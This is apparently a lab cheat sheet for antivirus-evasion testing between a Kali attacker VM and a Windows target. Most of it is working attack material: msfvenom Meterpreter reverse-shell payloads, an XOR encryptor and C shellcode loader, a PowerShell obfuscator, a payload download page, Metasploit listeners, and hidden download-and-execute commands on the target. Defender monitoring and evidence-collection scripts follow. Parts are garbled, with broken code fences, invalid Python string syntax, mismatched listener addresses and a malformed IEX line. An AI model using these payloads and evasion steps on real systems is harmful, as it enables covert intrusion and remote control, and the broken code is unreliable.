

AV Evasion Testing Commands Only
KALI LINUX (Attacker - 192.168.56.100)
Network Setup
bash

sudo nano /etc/network/interfaces

Generate Payloads
bash

```
cd /tmp
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=4444 -f exe -o detected_payload.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=4444 -f raw -o payload.raw
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=5555 -f psh-reflection -o psh-reflection.exe
```

Create Encryptor
bash

```
cat > encryptor.py << 'EOF'
import sys
def xor_encrypt(data, key):
    encrypted = bytearray()
    for i in range(len(data)):
        encrypted.append(data[i] ^ key[i % len(key)])
    return encrypted
with open('payload.raw', 'rb') as f:
    payload = f.read()
key = b'MySecretKey123'
encrypted = xor_encrypt(payload, key)
with open('encrypted.bin', 'wb') as f:
    f.write(encrypted)
print(f"Original: {len(payload)} bytes")
print(f"Encrypted: {len(encrypted)} bytes")
EOF
python3 encryptor.py
```

Create Loader
bash

```
cat > loader.c << 'EOF'
#include <windows.h>
#include <stdio.h>
unsigned char encrypted[] = { /* Paste encrypted bytes here */ };
unsigned char key[] = "MySecretKey123";
void XORDecrypt(unsigned char* data, size_t data_len, unsigned char* key, size_t key_len) {
    for(size_t i = 0; i < data_len; i++) {
        data[i] ^= key[i % key_len];
    }
}
int main() {
    size_t payload_size = sizeof(encrypted);
    unsigned char* payload = (unsigned char*)malloc(payload_size);
    memcpy(payload, encrypted, payload_size);
    XORDecrypt(payload, payload_size, key, strlen(key));
    void* exec = VirtualAlloc(0, payload_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, payload, payload_size);
    HANDLE thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
    WaitForSingleObject(thread, INFINITE);
    free(payload);
    return 0;
}
EOF
```

Convert to C Array
bash

```
echo -n "unsigned char encrypted[] = {" > payload.h
hexdump -v -e '16/1 "0x%02x, "' encrypted.bin | sed 's/, $//' >> payload.h
echo "};" >> payload.h
```

Create Compile Script
bash

```
cat > compile.bat << 'EOF'
@echo off
copy loader.c + payload.h merged.c
cl merged.c /o obfuscated_payload.exe /link /SUBSYSTEM:WINDOWS
```

EOF

PowerShell Obfuscator

bash

```
cat > obfuscate_ps1.py << 'EOF'
import base64
import random
import string
with open('payload.ps1', 'r') as f:
    script = f.read()
encoded = base64.b64encode(script.encode()).decode()
chunks = [encoded[i:i+50] for i in range(0, len(encoded), 50)]
output = "$s='\n"
for i, chunk in enumerate(chunks):
    var_name = f"${''.join(random.choices(string.ascii_lowercase, k=8))}"
    output += f"{var_name}='{chunk}'\n"
    output += f"$s+={var_name}\n"
output += ""
$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($s))
Invoke-Expression $d
""
with open('obfuscated.ps1', 'w') as f:
    f.write(output)
print("Obfuscated PowerShell saved to obfuscated.ps1")
EOF
python3 obfuscate_ps1.py
```

Web Server Setup

bash

```
sudo cp obfuscated.ps1 /var/www/html/
sudo systemctl start apache2
```

HTML Smuggling Page

bash

```
cat > /var/www/html/download.html << 'EOF'
<html>
<body>
<script>
function download() {
    var link = document.createElement('a');
    link.href = 'obfuscated.ps1';
    link.download = 'document.ps1';
    document.body.appendChild(link);
    link.click();
    document.body.removeChild(link);
}
</script>
<button onclick="download()">Download Document</button>
</body>
</html>
EOF
```

Start HTTP Server

bash

```
python3 -m http.server 80
```

Metasploit Listeners

bash

```
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.10.10; set LURI /download.html"
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.10.10; set LURI /download.html"
```

Network Monitoring

bash

```
sudo tcpdump -i any port 4444 or port 5555 -v
```

Report Template

bash

```
cat > report_template.md << 'EOF'
# AV Evasion Test Report
## Test Details
```

```

- Date: $(date)
- Attacker: Kali Linux (192.168.56.100)
- Target: Windows VM (192.168.56.101)
- AV Product: Windows Defender $(powershell Get-MpComputerStatus | select AntivirusEnabled)
## Payloads Tested
1. Basic Meterpreter EXE - DETECTED/NOT DETECTED
2. XOR Encrypted Loader - DETECTED/NOT DETECTED
3. Obfuscated PowerShell - DETECTED/NOT DETECTED
## Detection Times
- Initial payload: [Time to detection]
- Obfuscated payload: [Time to detection or N/A]
- PowerShell payload: [Time to detection or N/A]
## Log Evidence
- Defender Events: [Number of events]
- Quarantined Files: [List files]
- Network Connections: [Success/Failure]
## Conclusions
- Most effective technique: [Your findings]
- AV Weaknesses identified: [List weaknesses]
- Recommendations: [Improvements needed]
EOF

```

```

WINDOWS (Target - 192.168.56.101)
Enable Logging
powershell

```

```

wevtutil sl "Microsoft-Windows-Windows Defender/Operational" /e:true
wevtutil sl "Microsoft-Windows-PowerShell/Operational" /e:true

```

```

Create Monitor Script
powershell

```

```

$logScript = @"
while($true) {
    Get-WinEvent -FilterHashtable @{
        LogName='Microsoft-Windows-Windows Defender/Operational'
        Level=2,3,4
    } -MaxEvents 5 | Select-Object TimeCreated,Id,Message
    Start-Sleep -Seconds 2
}
"@
$logScript | Out-File -FilePath C:\monitor.ps1
Start-Process powershell -ArgumentList "-ExecutionPolicy Bypass -File C:\monitor.ps1"

```

```

Check Detections
powershell

```

```

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational';Id=1116,1117}
dir "C:\ProgramData\Microsoft\Windows Defender\Quarantine\" -Force

```

```

Download Payloads
powershell

```

```

(New-Object Net.WebClient).DownloadFile('http://192.168.56.100/detected_payload.exe', 'C:\Users\Public\Documents\detected_payload.exe')
(New-Object Net.WebClient).DownloadFile('http://192.168.56.100/obfuscated.ps1', 'C:\Users\Public\Documents\obfuscated.ps1')

```

```

Execute Payloads
powershell

```

```

Start-Process C:\Users\Public\detected_payload.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Users\Public\doc.ps1
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "IEX ((New-Object Net.WebClient).DownloadFile('http://192.168.56.100/obfuscated.ps1', 'C:\Users\Public\Documents\obfuscated.ps1'))"

```

```

Advanced Monitor
powershell

```

```

$monitorScript = @"
Clear-Host
Write-Host "=== AV Evasion Test Monitor ===" -ForegroundColor Cyan
Write-Host "Monitoring Windows Defender logs..." -ForegroundColor Yellow
Write-Host "Press Ctrl+C to stop" -ForegroundColor Yellow
Write-Host "`n"
$lastEvents = @()
while($true) {
    $events = Get-WinEvent -FilterHashtable @{
        LogName='Microsoft-Windows-Windows Defender/Operational'
        Id=1116,1117,1006,1007,1008,1009,1010,1011
    }

```

```

} -MaxEvents 20 -ErrorAction SilentlyContinue
foreach($event in $events) {
    if($event.RecordId -notin $lastEvents.RecordId) {
        $lastEvents += $event.RecordId
        if($lastEvents.Count -gt 100) { $lastEvents = $lastEvents[-100..-1] }
        Write-Host "`n[!] DETECTION EVENT" -ForegroundColor Red
        Write-Host "Time: $($event.TimeCreated)" -ForegroundColor Yellow
        Write-Host "Event ID: $($event.Id)" -ForegroundColor Yellow
        Write-Host "Message: $($event.Message)" -ForegroundColor Yellow
        Write-Host "-" * 50
    }
}
$quarantine = Get-ChildItem "C:\ProgramData\Microsoft\Windows Defender\Quarantine\" -ErrorAction
if($quarantine) {
    Write-Host "`n[!] Quarantine folder contents:" -ForegroundColor Magenta
    $quarantine | Select-Object Name, LastWriteTime | Format-Table -AutoSize
}
$suspicious = Get-Process | Where-Object {
    $_.ProcessName -match 'powershell|cmd|wscript|cscript|mshta' -and
    $_.Path -notmatch 'System32\WindowsPowerShell'
}
if($suspicious) {
    Write-Host "`n[+] Suspicious processes found:" -ForegroundColor Green
    $suspicious | Select-Object ProcessName, Id, Path | Format-Table -AutoSize
}
Start-Sleep -Seconds 5
}
'@
$monitorScript | Out-File C:\monitor_detailed.ps1 -Encoding UTF8
powershell -ExecutionPolicy Bypass -File C:\monitor_detailed.ps1

Evidence Collection
powershell

$evidencePath = "C:\AV_Test_Evidence_$(Get-Date -Format 'yyyyMMdd_HH:mm:ss')"
New-Item -ItemType Directory -Path $evidencePath -Force
wevtutil epl "Microsoft-Windows-Windows Defender/Operational" "$evidencePath\DefenderLogs.evtx"
wevtutil epl "Security" "$evidencePath\SecurityLogs.evtx"
Get-Process | Export-Csv "$evidencePath\Processes.csv" -NoTypeInfoation
netstat -ano | Out-File "$evidencePath\netstat.txt"
Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, User | Export-Csv "$evidencePath"
Get-ScheduledTask | Where-Object State -eq "Running" | Export-Csv "$evidencePath\ScheduledTasks.csv"
Get-ChildItem C:\Users\Public, C:\Windows\Temp, $env:TEMP -Recurse -ErrorAction SilentlyContinue |
    Where-Object { $_.Extension -match '\.(exe|dll|ps1|bat|vbs|js)$' } |
    Export-Csv "$evidencePath\SuspiciousFiles.csv"
Write-Host "Evidence collected to: $evidencePath" -ForegroundColor Green

Cleanup
powershell

Remove-Item C:\Users\Public\*.ps1, C:\Users\Public\*.exe -Force -ErrorAction SilentlyContinue
Remove-Item $env:TEMP\*.exe, $env:TEMP\*.ps1 -Force -ErrorAction SilentlyContinue
Get-Process | Where-Object { $_.ProcessName -match 'msf|meterpreter' } | Stop-Process -Force
powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $false"

```